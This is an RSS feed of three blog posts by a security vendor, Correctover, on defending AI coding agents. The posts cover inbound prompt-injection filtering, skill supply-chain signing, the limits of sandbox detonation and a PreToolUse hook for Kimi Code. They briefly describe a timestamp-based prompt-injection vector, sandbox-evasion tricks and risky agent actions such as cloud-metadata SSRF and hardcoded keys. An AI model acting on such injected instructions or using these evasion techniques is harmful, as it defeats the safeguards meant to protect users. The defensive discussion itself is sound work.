<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: correctover</title>
    <description>The latest articles on DEV Community by correctover (@correctover).</description>
    <link>https://dev.to/correctover</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3924714%2F72bbee41-90a8-4810-8fee-1ddb3ecef567.jpeg</url>
      <title>DEV Community: correctover</title>
      <link>https://dev.to/correctover</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/correctover"/>
    <language>en</language>
    <item>
      <title>Agent 安全不是单一赛道：三条技术边界的工程纪律</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Tue, 15 Sep 2026 11:17:12 +0000</pubDate>
      <link>https://dev.to/correctover/agent-an-quan-bu-shi-dan-sai-dao-san-tiao-ji-zhu-bian-jie-de-gong-cheng-ji-lu-11e</link>
      <guid>https://dev.to/correctover/agent-an-quan-bu-shi-dan-sai-dao-san-tiao-ji-zhu-bian-jie-de-gong-cheng-ji-lu-11e</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;入站内容防御 / 供应链完整性 / 出站执行验证——三件事，三种代价，三种工程纪律&lt;br&gt;
作者：Guigui Wang | Correctover — AI Reliability&lt;br&gt;
日期：2026-09-15&lt;/p&gt;

&lt;p&gt;&lt;em&gt;本文涉及自有 Internet-Draft 内容均为 individual submission，not an RFC or IETF endorsement.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;CCS 性能数据均为 Correctover 内部实测，文中逐条标注测量口径；不同口径不可直接比较。&lt;/em&gt;&lt;br&gt;
&lt;em&gt;文中提到的项目（CAITLYN、AgentSecCore/ANOLISA）为公开信息事实性引用，不含任何商业评价或排名意图。&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;当「AI Agent 安全」成为热词时，最危险的动作是把所有技术塞进同一个篮子。今天公开可见的三个代表性方案，恰好站在三条不同的工程边界上。把边界画清楚，比把它们揉成一顶「AI 安全标准」的大帽子，更对得起生产环境。&lt;/p&gt;

&lt;h2&gt;
  
  
  1. 三条边界
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;边界&lt;/th&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;代表工程&lt;/th&gt;
&lt;th&gt;工程纪律核心&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;入站内容防御&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;非可信内容进入 Agent 前是否被过滤&lt;/td&gt;
&lt;td&gt;CAITLYN（arXiv:2608.27990，PolyU / CUHK）&lt;/td&gt;
&lt;td&gt;双向规格验证（attack 必命中 + benign 零误伤）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;供应链完整性&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Agent 运行时加载的技能/代码是否被篡改&lt;/td&gt;
&lt;td&gt;AgentSecCore（Alibaba Cloud Linux，ANOLISA 开源）&lt;/td&gt;
&lt;td&gt;Ed25519 签名 + append-only 版本链 + Skill 快照漂移检测&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;出站执行验证&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Agent 发出的工具调用是否符合运行时形态&lt;/td&gt;
&lt;td&gt;Correctover CCS（IETF individual draft）&lt;/td&gt;
&lt;td&gt;7 维运行时验证：Structure/Schema/Latency/Cost/Identity/Integrity/Security&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;三条边界不是三个竞品，是三个&lt;strong&gt;工程问题&lt;/strong&gt;。任何一个真实的 Agent 部署，都可能同时需要三者的某一层。把它们混为一谈，会让企业误以为「买一个就够」；把它们画清楚，才能让每一层都做到它该做到的程度。&lt;/p&gt;

&lt;h2&gt;
  
  
  2. 入站内容防御：CAITLYN 的工程纪律
&lt;/h2&gt;

&lt;p&gt;CAITLYN 是香港理工大学（PolyU）与香港中文大学（CUHK）团队 2026 年 8 月公开的研究项目（&lt;a href="https://arxiv.org/abs/2608.27990" rel="noopener noreferrer"&gt;arXiv:2608.27990&lt;/a&gt;，v1 提交于 2026-08-28，CC0），定位是&lt;strong&gt;非可信入站内容&lt;/strong&gt;（用户 prompt、工具返回值、外部网页）的间接提示注入防御中间件。&lt;/p&gt;

&lt;p&gt;它最有价值的工程纪律是 &lt;strong&gt;System II 的反例引导技能合成闭环（counterexample-guided synthesis）&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;漏报攻击 → 当作 counterexample&lt;/li&gt;
&lt;li&gt;generator 合成新的防御技能&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;独立 verification sandbox 做双向规格验证&lt;/strong&gt;——攻击正例必须命中、良性反例必须零误伤&lt;/li&gt;
&lt;li&gt;reviewer 把关 → 带 lineage 写回技能库&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;可吸收的工程纪律&lt;/strong&gt;：新 detector 必须通过「正/反」双面语料契约，并且可以追溯到催生它的那个 counterexample。这不是功能列表，是工程纪律。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;边界&lt;/strong&gt;：它解决的是「进来的内容是不是有毒」，不做 Agent 调用工具那一刻的运行时校验，也不做 Skill 文件在磁盘上的完整性守护。论文也如实给出了这条路线的工程代价：云端 LLM 判定路径在其评测中约为数秒至十余秒延迟、每查询约 0.003–0.007 美元量级，并且中间件在多个部署点默认 fail-open。准确率、延迟、适应性三者构成它要权衡的 trilemma。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Correctover 正在把这条工程纪律吸收到自己的规则更新管线（见 §5）。我们学纪律，不抄实现。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  3. 供应链完整性：AgentSecCore 的边界
&lt;/h2&gt;

&lt;p&gt;AgentSecCore 是 Alibaba Cloud Linux（Alinux）的本地 Agent 安全内核（&lt;a href="https://help.aliyun.com/zh/alinux/how-to-use-agentseccore" rel="noopener noreferrer"&gt;官方文档，更新于 2026-09-10&lt;/a&gt;），开源版本为 ANOLISA（Apache-2.0），处于持续活跃迭代状态。&lt;/p&gt;

&lt;p&gt;它最扎实的工作是 &lt;strong&gt;Skill Ledger（技能账本）&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;每个 Skill 的 manifest（含文件哈希、扫描结果、版本信息）经 Ed25519 签名&lt;/li&gt;
&lt;li&gt;append-only 版本链 + snapshot 机制，支持漂移识别与可信版本回退&lt;/li&gt;
&lt;li&gt;6 个业务安全状态（pass / none / drifted / warn / deny / tampered）&lt;/li&gt;
&lt;li&gt;与 SkillFS 职责解耦，已适配 6 类宿主：OpenClaw、Copilot Shell、Hermes、Codex、Qoder CLI、Qwen Code&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;可吸收的工程纪律&lt;/strong&gt;：Skill/Plugin 的「身份 + 完整性」必须可校验，且任何漂移都必须可被检测。这是任何 Agent 供应链的基础。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;边界&lt;/strong&gt;：它强覆盖 Integrity 一维，部分覆盖 Identity 与 Security，&lt;strong&gt;不做&lt;/strong&gt;出站工具调用的 Structure / Schema / Latency / Cost 校验（即 CCS 7 维中的 4 维）。在提示词扫描上，官方把强度分为 FAST / STANDARD / STRICT 三档，并注明 STRICT 是为 L3 语义层预留、当前与 STANDARD 等效；本地 L2 判定依赖用户自行部署 Ollama 小模型。处置姿态上，官方文档说明各宿主 hook 在 &lt;code&gt;agent-sec-cli&lt;/code&gt; 缺失、超时或返回非法结果时统一 &lt;strong&gt;fail-open&lt;/strong&gt;（放行并记录），优先保障 Agent 可用性。它是 OS 侧内容安全 + Skill 供应链守护，不是 sub-millisecond 的运行时验证引擎。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;与 CCS 技术路径重合度最高的点是 Ed25519 签名 + 版本链，但&lt;strong&gt;粒度不同&lt;/strong&gt;：AgentSecCore 守护 Skill 级（文件 / manifest），CCS 守护调用级（每一次工具调用）。fail-open 与 fail-closed 也是两种不同取舍——前者优先可用性，后者优先安全——而非高低之分。两条路径互为补充，不是替代。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  4. 出站执行验证：Correctover CCS 的边界
&lt;/h2&gt;

&lt;p&gt;Correctover CCS（Conformance Shape）是我们定义的 Agent &lt;strong&gt;运行时验证标准&lt;/strong&gt;（IETF Internet-Draft，individual submission），覆盖每一次工具调用的 &lt;strong&gt;7 个运行时维度&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Structure / Schema&lt;/strong&gt;：调用消息是否符合协议形态与字段约束&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Latency / Cost&lt;/strong&gt;：响应时间与 token 开销是否符合预期形态&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Identity / Integrity / Security&lt;/strong&gt;：工具、内容、行为的可信性校验&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;运行时校验的核心纪律是&lt;strong&gt;确定性 + 零 token + sub-millisecond&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Correctover 核心判定层 Node P50 ≈ 2.7µs&lt;/li&gt;
&lt;li&gt;Python 端到端 P50 ≈ 27µs&lt;/li&gt;
&lt;li&gt;对外口径：core eval P50 &amp;lt; 10µs / P99 &amp;lt; 25µs（实测 P50 ≈ 7.5µs、P99 ≈ 21µs）&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;fail-closed&lt;/strong&gt;：运行时校验失败 = 拒绝执行，而不是放行&lt;/li&gt;
&lt;li&gt;Ed25519 签名收据（receipt）提供可独立验证的审计证据&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;为什么有三组性能数字、它们为何不矛盾。&lt;/strong&gt; 三者测量边界不同，不能直接比较：Node P50 ≈ 2.7µs 是核心判定层在 Node 运行时的&lt;strong&gt;单次纯校验&lt;/strong&gt;耗时，是最优单点；Python 端到端 P50 ≈ 27µs 走的是&lt;strong&gt;真实集成路径&lt;/strong&gt;，含 Python 调用链上的序列化与封装开销；对外承诺的 core eval P50 &amp;lt; 10µs / P99 &amp;lt; 25µs 取的是&lt;strong&gt;跨实现的保守口径&lt;/strong&gt;，并显式覆盖 P99 尾延迟，而不是只报最好看的平均值。对外统一使用保守口径，内部单点数据在此一并披露，只为交代测量边界。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;边界&lt;/strong&gt;：它守护的是「Agent 发出的调用是否合规」。它不做入站内容的间接注入过滤（那是 CAITLYN 一类中间件的地盘），也不做 Skill 文件级的供应链漂移检测（那是 AgentSecCore 的地盘）。&lt;/p&gt;

&lt;h2&gt;
  
  
  5. 三条边界之间的工程对话
&lt;/h2&gt;

&lt;p&gt;最有意思的工程对话发生在边界之间：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CAITLYN 的双向规格验证纪律&lt;/strong&gt; → 被我们（Correctover）吸收到&lt;strong&gt;规则更新管线&lt;/strong&gt;：每条新规则必须带攻击正例集 + 良性反例集 + 全量回归，门禁 fail-closed（&lt;strong&gt;纪律跨边界复用，实现不抄&lt;/strong&gt;）。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AgentSecCore 的 Skill Ledger&lt;/strong&gt; → 启发 Correctover 的&lt;strong&gt;规则包签名链&lt;/strong&gt;：规则包可 Ed25519 签名，复用 &lt;code&gt;trust.py&lt;/code&gt; 两级信任模型（VERIFIED → ACCEPTED），与调用级 receipt 互补（&lt;strong&gt;资产层 + 调用层双保险&lt;/strong&gt;）。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CCS 的调用级 receipt&lt;/strong&gt; → 对 CAITLYN / AgentSecCore 都透明：它们在决策时产生的记录本身也可以被 CCS 校验，形成「对防御行为的防御」。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这种分层对话，才是对得起生产环境的工程态度。&lt;/p&gt;

&lt;h2&gt;
  
  
  6. 对 Correctover 自身的要求
&lt;/h2&gt;

&lt;p&gt;我们把自己定位在&lt;strong&gt;出站执行验证&lt;/strong&gt;这一条边界上，不跨边界声称自己覆盖所有 Agent 安全问题。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;我们&lt;strong&gt;有&lt;/strong&gt;的：CCS 7 维运行时校验、Ed25519 签名收据、sub-ms 确定性引擎、fail-closed 闸门、两阶段信任模型（VERIFIED / ACCEPTED）。&lt;/li&gt;
&lt;li&gt;我们&lt;strong&gt;正在补&lt;/strong&gt;的：规则入库双向语料门禁（对 CAITLYN 工程纪律的吸收，正在 P0 阶段）；规则包签名链（借鉴 Skill Ledger 的思路）。&lt;/li&gt;
&lt;li&gt;我们&lt;strong&gt;不做&lt;/strong&gt;的：入站内容防御（CAITLYN 一类中间件的地盘）、Skill 文件漂移检测（AgentSecCore 的地盘）。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们同时承认：&lt;strong&gt;CCS 不是 AI 安全的唯一答案&lt;/strong&gt;，它只是&lt;strong&gt;运行时验证层&lt;/strong&gt;的一个答案。如果你的威胁模型同时包含入站内容投毒和第三方 Skill 供应链，我们建议在 CCS 之外&lt;strong&gt;同时部署&lt;/strong&gt;入站内容防御与 Skill 完整性方案——任何单一层都不足以覆盖完整的 Agent 攻击面。把边界画清楚，比把功能堆到一起更值得尊重。&lt;/p&gt;




&lt;h2&gt;
  
  
  7. 术语与事实锚点
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CAITLYN&lt;/strong&gt;：&lt;a href="https://arxiv.org/abs/2608.27990" rel="noopener noreferrer"&gt;arXiv:2608.27990&lt;/a&gt;（PolyU / CUHK，v1 2026-08-28，CC0）。属入站内容层，不对应 CCS 7 维中的任何一维。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AgentSecCore / ANOLISA&lt;/strong&gt;：&lt;a href="https://help.aliyun.com/zh/alinux/how-to-use-agentseccore" rel="noopener noreferrer"&gt;阿里云 Alinux 官方文档&lt;/a&gt;（页面更新 2026-09-10）；开源版 ANOLISA，Apache-2.0，GitHub 活跃维护。在 CCS 7 维中强覆盖 Integrity（1 维），部分覆盖 Identity + Security（2 维），不覆盖 Structure / Schema / Latency / Cost（4 维）。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Correctover CCS&lt;/strong&gt;：IETF Internet-Draft individual submission；Correctover 开源实现；性能实测 Node 核心判定层 P50 ≈ 2.7µs、Python 端到端 P50 ≈ 27µs，对外保守口径 core eval P50 &amp;lt; 10µs / P99 &amp;lt; 25µs（实测 7.5 / 21µs）。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internet-Draft 免责&lt;/strong&gt;：本文对 Correctover 自有 Internet-Draft 的引用均为 individual submission, not an RFC or IETF endorsement。&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;想先看清自己 Agent 的&lt;strong&gt;出站调用暴露面&lt;/strong&gt;，可以用免费自动扫描器建立一条基线（&lt;a href="https://correctover.com" rel="noopener noreferrer"&gt;correctover.com&lt;/a&gt;）；对于自动规则无法判定的部分（实际可利用性、生产危害、合规证据），再考虑人工运行时审计。&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;本文是 Correctover 对 AI Agent 安全三条技术边界的工程视角陈述，不是对任何产品或研究的排名或评价。作者对 CAITLYN 团队与 AgentSecCore/ANOLISA 团队公开贡献的工程纪律保持尊重。&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>aiagents</category>
      <category>security</category>
      <category>mcp</category>
      <category>llm</category>
    </item>
    <item>
      <title>Your agent sandbox is a physical exam, not a black box: dynamic analysis can't be the last word in agent security</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Fri, 04 Sep 2026 15:21:31 +0000</pubDate>
      <link>https://dev.to/correctover/your-agent-sandbox-is-a-physical-exam-not-a-black-box-dynamic-analysis-cant-be-the-last-word-in-100i</link>
      <guid>https://dev.to/correctover/your-agent-sandbox-is-a-physical-exam-not-a-black-box-dynamic-analysis-cant-be-the-last-word-in-100i</guid>
      <description>&lt;p&gt;A pattern is settling into the AI agent security stack: when you're unsure about a skill, tool, or plugin, you detonate it. Drop it into a sandbox — a detonation chamber, a honeypot environment — let it run for real, and watch what it does. Does it phone home? Does it read files it shouldn't? Does it unpack additional payloads?&lt;/p&gt;

&lt;p&gt;It feels rigorous. Execution is truth; static analysis is just reading. And dynamic analysis does catch things static analysis misses — unpacked payloads, environment-triggered behavior, exfiltration that exists nowhere except at runtime.&lt;/p&gt;

&lt;p&gt;But here is the framing problem. A sandbox run is a &lt;strong&gt;physical exam&lt;/strong&gt;: a controlled check-up, in a clinic, on a good day, before the patient starts living their life. It is not a &lt;strong&gt;black box&lt;/strong&gt;: the tamper-evident recorder running during the actual flight, readable by investigators who don't trust the airline.&lt;/p&gt;

&lt;p&gt;Both matter. They are not interchangeable, and treating the exam as the recorder leaves a specific, predictable gap.&lt;/p&gt;

&lt;h2&gt;
  
  
  What dynamic detonation gets right
&lt;/h2&gt;

&lt;p&gt;Let's be fair to the sandbox, because it earns its place. Static analysis reads code and reasons about what it &lt;em&gt;could&lt;/em&gt; do; dynamic detonation watches what it &lt;em&gt;does&lt;/em&gt; do. That distinction is real. Some behavior exists purely at runtime: payloads that decrypt themselves in memory, network calls assembled from environment state, logic that branches on what it finds on disk. If you never execute the artifact, you never see that side of it.&lt;/p&gt;

&lt;p&gt;For agent skills and tools — bundles of code that an LLM can invoke, often sourced from third-party registries, often with broad permissions — "run it in a cage and watch" is a genuinely useful pre-release check. It should be part of the pipeline. The argument here is not against the sandbox. It is against asking the sandbox to do a job it structurally cannot do.&lt;/p&gt;

&lt;h2&gt;
  
  
  Boundary 1: coverage is an arms race, not a one-time build
&lt;/h2&gt;

&lt;p&gt;Anti-sandbox and anti-honeypot evasion is a roughly twenty-year-old arms race in the malware world, and it remains unresolved — managed continuously, never finished. A sample can check whether it is being watched: timing delays and sleep timers, virtual-machine fingerprints, the absence of mouse movement or browser history, telltale environment variables, user-data directories that look freshly faked. Detect the clinic, and you behave like a model patient. The malicious payload waits for what looks like real life.&lt;/p&gt;

&lt;p&gt;This has a direct consequence for agent security tooling. When a vendor quotes a dynamic-analysis catch rate — runtime detonation recovering a meaningful share of what static analysis misses — ask the mirror question: what share of malicious behavior does the detonation chamber itself miss, and who measures that? In detection engineering, a detector cannot prove its own completeness. The evasions you can observe are the ones you already know about; the evasion that stays quiet in your environment is, by construction, invisible to you. Coverage is a maintenance contract, not a build artifact — which means a sandbox you stopped tuning is a sandbox whose edge is eroding.&lt;/p&gt;

&lt;h2&gt;
  
  
  Boundary 2: slow and expensive — a deployment gate, not a runtime gate
&lt;/h2&gt;

&lt;p&gt;Real detonation costs real things: environment construction, warm-up, a timeout window long enough to catch delayed payloads, resource isolation, teardown. That budget is fine for a release pipeline. It is not fine for the request path.&lt;/p&gt;

&lt;p&gt;An agent in production makes tool calls constantly — each one a decision point — and you cannot route every call through a multi-minute detonation without making the agent unusable. So the sandbox sits, structurally, &lt;em&gt;before&lt;/em&gt; deployment: it audits the artifact you shipped. Everything that happens afterward — production traffic, real sessions, real users — happens outside its field of view.&lt;/p&gt;

&lt;p&gt;This is the physical-exam property. The exam happens before the flight. It cannot watch the flight, no matter how thorough it was.&lt;/p&gt;

&lt;h2&gt;
  
  
  Boundary 3: honeypot behavior is not production behavior
&lt;/h2&gt;

&lt;p&gt;Even when the sandbox watches a run, it watches a &lt;em&gt;drill&lt;/em&gt;. The clinic has synthetic inputs, disposable credentials, empty data directories, and no real user in the loop. Production has the opposite: real documents, live tokens with real permissions, and chained calls where tool B receives output shaped by tool A — chains that can run many steps deep by the time something goes wrong.&lt;/p&gt;

&lt;p&gt;Plenty of real incidents live in that gap. Code that behaves in a demo environment but reaches for the customer database when a real database exists. A tool that is harmless with a dummy API key and aggressive with a valid one. A chain where each step looks fine individually and the composition is the exploit. You audited the rehearsal. The accident happens on opening night.&lt;/p&gt;

&lt;h2&gt;
  
  
  "OS-level logs can't be faked" — they can
&lt;/h2&gt;

&lt;p&gt;One defense of dynamic execution is that the operating system sees everything: syscalls, file access, network connections. Logs at that layer get treated as ground truth.&lt;/p&gt;

&lt;p&gt;They are ground truth right up until the thing you are watching holds administrator or root privileges — which is exactly what a malicious tool, an exploited dependency, or a successful sandbox escape hands an attacker. Code at that level can hook syscalls, suppress its own traces, wipe or rewrite audit records, and feed the observer a clean narrative. A log written by the party whose behavior is in dispute is self-reported evidence.&lt;/p&gt;

&lt;p&gt;Aviation is instructive here. The pilot's handwritten logbook is useful, but nobody mistakes it for a flight recorder. A black box is engineered so the pilot &lt;strong&gt;cannot&lt;/strong&gt; rewrite it after the fact: tamper-evident, write-once, readable by people who do not trust the emitter. If your "runtime evidence" is produced and stored by the same runtime you are auditing, you have a logbook.&lt;/p&gt;

&lt;h2&gt;
  
  
  What an agent black box actually looks like
&lt;/h2&gt;

&lt;p&gt;The useful unit is a per-invocation receipt: one record per tool call, emitted as the call happens, with properties that make it evidence rather than a report:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cryptographically bound to the specific invocation&lt;/strong&gt; — signed, with hashes covering the caller, the tool, the arguments, and the authorization under which the call ran. A receipt you cannot tie to a concrete call is decorative.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anchored outside the call path&lt;/strong&gt; — verifiable by a party who is neither the emitter nor on the execution path: an append-only transparency log, a remote-attestation flow, any arrangement where rewriting history means breaking the anchor, not merely breaking into the box.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Three states kept separate&lt;/strong&gt; — the agent's &lt;em&gt;decision&lt;/em&gt; (what it chose to call and why), the provider's &lt;em&gt;outcome&lt;/em&gt; (what the tool reported back), and the &lt;em&gt;observed effect&lt;/em&gt; (what actually changed). These routinely disagree, and collapsing them into one "success/failure" field hides exactly the disagreements that matter.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Indeterminate stays indeterminate&lt;/strong&gt; — when evidence is missing, the state is "unknown," and policy fails closed. "No evidence of malice" must not be recorded as "verified safe."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the direction of open standards discussions in the MCP and agent security community: signed, verifiable invocation records rather than vendor-narrated dashboards. The format is less important than the property — evidence has to be checkable by someone with every reason to distrust the system that produced it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Use both — they do different jobs
&lt;/h2&gt;

&lt;p&gt;For teams building or shipping agents, the practical split:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Before release, do the physical exam.&lt;/strong&gt; Static analysis plus dynamic detonation of skills and tools. You do not need an elaborate program for this; free and open toolchains cover the large majority of the basics — scan the code, detonate the artifact, fix what surfaces. Run it on every release, because coverage decays.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;During production, require the black box.&lt;/strong&gt; Your agent framework should emit verifiable decision records — who acted, what action, under what authorization, with what result — cryptographically signed and anchored somewhere the emitter cannot quietly rewrite them. If your framework cannot do this yet, that gap deserves more attention than another dashboard.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;When evaluating agent security tooling, ask one question up front:&lt;/strong&gt; does it produce evidence &lt;em&gt;you&lt;/em&gt; can verify independently? A dashboard the vendor controls tells you what the vendor's system chose to record. That is a report. It is not evidence until a party outside the trust boundary can check it.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The exam does not replace the recorder
&lt;/h2&gt;

&lt;p&gt;Sandboxes are good engineering. Detonate suspicious code, watch it run, catch what static reading cannot see — keep doing all of it. Just do not mistake the pre-flight check-up for the flight recorder. The exam tells you what a tool does when it is being watched in a clinic. The black box tells you what actually happened, in production, in a record the tool cannot rewrite.&lt;/p&gt;

&lt;p&gt;If you want the physical-exam piece today, we publish a scanner that runs locally: &lt;code&gt;npx correctover-scan@latest&lt;/code&gt;. It is MIT-licensed open source and zero-upload — your code does not leave your machine, and there is nothing to sign up for. There is also a web entry point at &lt;a href="https://correctover.com/scan.html" rel="noopener noreferrer"&gt;https://correctover.com/scan.html&lt;/a&gt;. For the runtime side, take the same question to your framework and your vendors: where is the receipt, and who can verify it without trusting you?&lt;/p&gt;

</description>
      <category>ai</category>
      <category>mcp</category>
      <category>security</category>
      <category>agents</category>
    </item>
    <item>
      <title>A PreToolUse security gate for Kimi Code: block live secrets, plaintext MCP, and SSRF before they hit disk</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Fri, 04 Sep 2026 05:16:16 +0000</pubDate>
      <link>https://dev.to/correctover/a-pretooluse-security-gate-for-kimi-code-block-live-secrets-plaintext-mcp-and-ssrf-before-they-2o3a</link>
      <guid>https://dev.to/correctover/a-pretooluse-security-gate-for-kimi-code-block-live-secrets-plaintext-mcp-and-ssrf-before-they-2o3a</guid>
      <description>&lt;p&gt;Last week Kimi Code (Moonshot AI's terminal coding agent) shipped a fix for a nasty prompt-injection vector: timestamps in tool output could be crafted to smuggle instructions into the model's context (&lt;a href="https://github.com/MoonshotAI/kimi-code/issues/2028" rel="noopener noreferrer"&gt;MoonshotAI/kimi-code#2028&lt;/a&gt;, fixed in the new v2 engine in 0.39.0 via #3007/#3341). Prompt-injection hardening matters — but injection is only half the story.&lt;/p&gt;

&lt;p&gt;A coding agent that has been steered (or is simply over-eager) can also:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;write a hardcoded &lt;code&gt;sk-live-...&lt;/code&gt; key into &lt;code&gt;src/config.js&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;add an MCP server over &lt;strong&gt;plaintext HTTP&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;point a tool at &lt;code&gt;169.254.169.254&lt;/code&gt; (cloud-metadata SSRF)&lt;/li&gt;
&lt;li&gt;run &lt;code&gt;npm install&lt;/code&gt; inside a repo that already contains any of the above&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kimi Code has a mechanism for exactly this: &lt;strong&gt;Hooks (Beta)&lt;/strong&gt;. &lt;code&gt;PreToolUse&lt;/code&gt; events fire &lt;em&gt;before&lt;/em&gt; the permission check, and a hook can block the action by exiting with code 2. The block reason on stderr is fed back to the model — so it fixes the problem and retries.&lt;/p&gt;

&lt;p&gt;We built an open-source (MIT) hook that wires this event to a real scanner: &lt;a href="https://github.com/DSHCorrectover/kimi-code-security-hook" rel="noopener noreferrer"&gt;correctover-security-hook&lt;/a&gt;. This post explains how it works, what it catches, and how to verify it yourself in under a minute.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Kimi Code hooks work (60-second version)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Rules live in &lt;code&gt;~/.kimi-code/config.toml&lt;/code&gt; as &lt;code&gt;[[hooks]]&lt;/code&gt; entries with four fields: &lt;code&gt;event&lt;/code&gt;, &lt;code&gt;matcher&lt;/code&gt; (regex), &lt;code&gt;command&lt;/code&gt;, &lt;code&gt;timeout&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;On a hookable event, the CLI pipes a JSON payload (tool name, parameters, file content) to your script via &lt;strong&gt;stdin&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Exit semantics: &lt;code&gt;0&lt;/code&gt; = proceed; &lt;strong&gt;&lt;code&gt;2&lt;/code&gt; = block, stderr goes back to the LLM as the reason&lt;/strong&gt;; any other non-zero / timeout = fail open (proceed).&lt;/li&gt;
&lt;li&gt;Only &lt;code&gt;PreToolUse&lt;/code&gt;, &lt;code&gt;Stop&lt;/code&gt;, and &lt;code&gt;UserPromptSubmit&lt;/code&gt; can block. Security gates must hang on &lt;code&gt;PreToolUse&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Official guidance: hooks are fail-open by design — a reminder/light-gate layer, &lt;strong&gt;not your only security control&lt;/strong&gt;. Keep permission approvals, code review, and CI scanning.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What the hook does
&lt;/h2&gt;

&lt;p&gt;Two &lt;code&gt;PreToolUse&lt;/code&gt; matchers:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Matcher&lt;/th&gt;
&lt;th&gt;What gets scanned&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;`WriteFile\&lt;/td&gt;
&lt;td&gt;StrReplaceFile`&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Shell&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;MCP-related commands (&lt;code&gt;mcp add&lt;/code&gt;, config edits) → recursive config scan of the project; with &lt;code&gt;CORRECTOVER_SCAN_INSTALLS=1&lt;/code&gt;, &lt;code&gt;npm/pnpm/yarn/bun install&lt;/code&gt; → full-project code scan&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

